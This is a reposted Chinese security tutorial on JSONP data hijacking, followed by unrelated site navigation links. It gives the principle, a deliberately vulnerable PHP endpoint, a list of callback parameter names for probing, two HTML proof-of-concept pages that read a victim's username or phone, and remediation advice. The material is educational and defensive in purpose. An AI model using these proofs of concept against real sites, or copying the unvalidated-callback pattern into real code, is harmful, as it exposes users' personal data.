位置: IT常识 - 正文

JSONP数据劫持漏洞(json解析漏洞)

编辑:rootadmin
JSONP数据劫持漏洞 ​介绍

推荐整理分享JSONP数据劫持漏洞(json解析漏洞),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:json劫持漏洞验证方法,json数据解析错误是什么意思,json数据解析错误是什么意思,jsonp漏洞利用,json loads dumps,jsonp漏洞利用,json劫持漏洞验证方法,json劫持怎么防止,内容如对您有帮助,希望把文章链接给更多的朋友!

JSONP(JSON with Padding)是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据;它利用的是script标签的 src 属性不受同源策略影响的特性,使网页可以得到从其他来源动态产生的 json 数据,因此可以用来实现跨域读取数据。

更通俗的说法:JSONP 就是利用 <script> 标签的跨域能力实现跨域数据的访问,请求动态生成的 JavaScript 脚本同时带一个 callback 函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用 callback 函数。

漏洞原理

和 CSRF 类似,都需要用户交互,而 CSRF 主要是以用户的账户进行增删改的操作,jsonp 则主要用来劫持数据。

当网站通过 JSONP 方式传递用户敏感信息时,攻击者可以伪造 JSONP 调用页面,诱导被攻击者访问来达到窃取用户信息的目的;jsonp 数据劫持就是攻击者获取了本应该传给网站其他接口的数据。

漏洞代码

假设这是目标网站上的代码,然后我们利用漏洞就可以劫持到里面的数据,如username、phone

<?php//test.phpheader('Content-type: application/json');$callback = $_GET['callback'];print $callback.'({"username" : "d4m1ts","phone" : "13888888888"});';?>

快速启动 php 环境

php -S 127.0.0.1:9999 实现效果

利用场景

如上图,所有包含有callback等回调函数的,且请求方式为 GET,没有验证 referer 等,都可以尝试下该漏洞

如果返回内容是 json 格式的,但是没有回调函数,我们可以尝试手动添加回调函数去试试运气,一些常见的如下:

_callback=mstkey_cb=mstkeycallback=mstkeycb=mstkeyjsonp=mstkeyjsonpcallback=mstkeyjsonpcb=mstkeyjsonp_cb=mstkeyjson=mstkeyjsoncallback=mstkeyjcb=mstkeycall=mstkeycallBack=mstkeyjsonpCallback=mstkeyjsonpCb=mstkeyjsonp_Cb=mstkeyjsonCallback=mstkeyca=mstkey漏洞利用

当我们发现信息泄露的 jsonp 接口以后,我们需要构造一个恶意 html 页面,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会向这个接口请求用户的敏感数据,并传送到攻击者的服务器上。

POC基于实现回调函数<script>function xxx(data){ alert(data.username);}</script><script src="http://127.0.0.1:9999/test.php?callback=xxx"></script>JSONP数据劫持漏洞(json解析漏洞)

保存为 html,诱导受害者访问,可见成功获取到了username信息

image-20220322171224615

简而言之:存在信息泄漏的 JSONP 接口http://127.0.0.1:9999/test.php?callback=xxx,攻击者构造 POC 后诱导用户访问 POC,然后就会调用这个接口获取到敏感数据,获取到的敏感数据被攻击者截获了。

另一个 POC基于 jquery<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script><script type="text/javascript"> $.getJSON("http://127.0.0.1:9999/test.php?callback=?", function(data){ alert(data.phone); });</script>

image-20220322173916125

修复建议

扩展

修复建议

接受请求时检查referer来源;

在请求中添加token并在后端进行验证;

严格过滤 callback 函数名及 JSON 里数据的输出。

扩展

如果目标的 header 头没有设置Content-Type为json,而是html,那么也可以造成 XSS 漏洞

一个获取 QQ 号的 JSONP 劫持实例[1]

image-20220322185037473

推荐阅读:JSONP 挖掘与高级利用[2]

参考资料

[1]一个获取 QQ 号的 JSONP 劫持实例: http://www.piaoyi.org/network/get-qq-haoma-js.html

[2]JSONP 挖掘与高级利用: http://drops.xmd5.com/static/drops/papers-6630.html

本文链接地址:https://www.jiuchutong.com/zhishi/299576.html 转载请保留说明!

上一篇:单目测距原理与实现(代码可运行)(单目测距精度)

下一篇:强化学习——Q-Learning算法原理

  • 增值税可以在企业所得税时扣除吗
  • 自产货物用于生产
  • 企业将要购买一套房产
  • 劳务报酬自行申报时间
  • 单一环节征税有哪些类型
  • 建筑公司核定征收所得税怎么算
  • 服装企业销售方式
  • 企业自建房屋卖给职工怎么做账务处理
  • 纳税总额包括
  • 二房东税务局开发票
  • 对子公司进行增资
  • 增值税发票查验平台官网网络异常
  • 长期股权投资账面价值和公允价值不一致
  • 为什么公司信用代码不对
  • 普通合伙企业分配利润
  • 开具增值税专用发票和普通发票的区别
  • 应计入增值税一般纳税人认定标准的“年应税销售额”
  • 涂料生产企业消毒方案
  • 集体企业属于事业单位吗
  • 电子商务出来干嘛
  • 收取拆迁补偿费会计分录
  • 企业支付微信认证怎么弄
  • 收到即征即退退的发票
  • 小型微利企业所得税率
  • 怎么检查电脑硬件是否正常
  • 安保费差额纳税是什么意思
  • 委托代销委托方需要开发票吗
  • 弗拉维亚王朝
  • node.txt
  • 个人出租车辆交税吗
  • 后端怎么返回数据给前端
  • html+css+javascript编程入门指南
  • 所得税费用当月计提吗
  • 未取得增值税发票开具二手车发票
  • 商品出入库台账
  • 用于职工福利的进项税账务处理
  • 共同开发产品
  • 公允价值变动损益
  • 发票勾选后为什么申报表里没有数据
  • sql server 性能优化
  • 小规模交社保有人数限制吗
  • mysql innodb锁
  • 库存商品总分类账范本
  • 未分配利润可以弥补亏损吗
  • 以前年度损益调整会计分录
  • 运费与快递费的区别在哪
  • 个税汇算清缴是退税吗
  • 水利建设基金申报表哪里
  • 加盟费摊销会计分录
  • 材料暂估入库的账务处理
  • 新成立的公司能干吗
  • 房屋建筑物固定资产标牌图片
  • 车辆理赔款如何入账
  • 单位食堂收费制度
  • 应收票据明细表根据什么编制
  • 所有者权益类期末贷方余额公式
  • 执行企业会计准则和小企业会计准则的区别
  • 总公司中标走子公司账户违法吗
  • 中小型企业产品定位方案
  • sql语句排除重复数据
  • sqlserver存储过程怎么查看
  • win7和winxp区别
  • 怎么制作win7系统u盘装系统教程
  • zmweb.exe是什么进程
  • linux 测试工具
  • win7定时静音
  • vsftpd.log
  • <Unity UGUI>使用c#反射实现UGUI文本显示的国际化
  • js传参数有长度限制
  • docker save -o
  • php编译安装常见的软件
  • unity 子弹效果 粒子
  • jQuery fancybox在ie浏览器下无法显示关闭按钮的解决办法
  • nodejs拼接路径的方法
  • vue卡片式风格
  • 天津市车船税收费标准2023
  • 如何在同一台电脑上投屏
  • 江苏地税每月社保多少钱
  • 北京市朝阳区各中学校服照片
  • 高新企业公布
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设